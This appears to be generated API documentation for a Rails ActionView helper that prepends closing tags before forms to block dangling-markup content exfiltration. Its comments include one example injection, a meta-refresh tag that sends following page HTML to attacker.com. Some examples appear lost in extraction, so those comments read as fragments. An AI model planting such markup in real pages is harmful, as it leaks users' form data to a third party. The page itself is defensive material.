Module: ActionView::Helpers::ContentExfiltrationPreventionHelper
Constant Summary
-
CLOSE_CDATA_COMMENT =
# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 37
Close any open tags that support CDATA (textarea, xmp) before each form tag. This prevents attackers from injecting unclosed tags that could capture form contents.
For example, an attacker might inject:
"<!-- </textarea></xmp> -->".html_safe.freeze
-
CLOSE_FORM_TAG =
# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 62
Close any open form tags before each new form tag. This prevents attackers from injecting unclosed forms that could leak markup offsite.
For example, an attacker might inject:
would be captured by the attacker's . By closing any open form tags, we ensure that form contents are never exfiltrated."</form>".html_safe.freeze
-
CLOSE_OPTION_TAG =
# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 50
Close any open option tags before each form tag. This prevents attackers from injecting unclosed options that could leak markup offsite.
For example, an attacker might inject:
"</option>".html_safe.freeze
-
CLOSE_QUOTES_COMMENT =
# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 23
Close any open attributes before each form tag. This prevents attackers from injecting partial tags that could leak markup offsite.
For example, an attacker might inject:
< http-equiv="refresh" content='0;URL=https://attacker.com?The HTML following this tag, up until the next single quote would be sent to https://attacker.com. By closing any open attributes, we ensure that form contents are never exfiltrated this way.
%q(<!-- '"` -->).html_safe.freeze
-
CONTENT_EXFILTRATION_PREVENTION_MARKUP =
# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 64(CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
Instance Attribute Summary
Instance Method Summary
Instance Attribute Details
#prepend_content_exfiltration_prevention (rw)
[ GitHub ]# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 11
delegate :prepend_content_exfiltration_prevention, to: ContentExfiltrationPreventionHelper
Instance Method Details
#prevent_content_exfiltration(html)
[ GitHub ]# File 'actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb', line 66
def prevent_content_exfiltration(html) if prepend_content_exfiltration_prevention CONTENT_EXFILTRATION_PREVENTION_MARKUP + html else html end end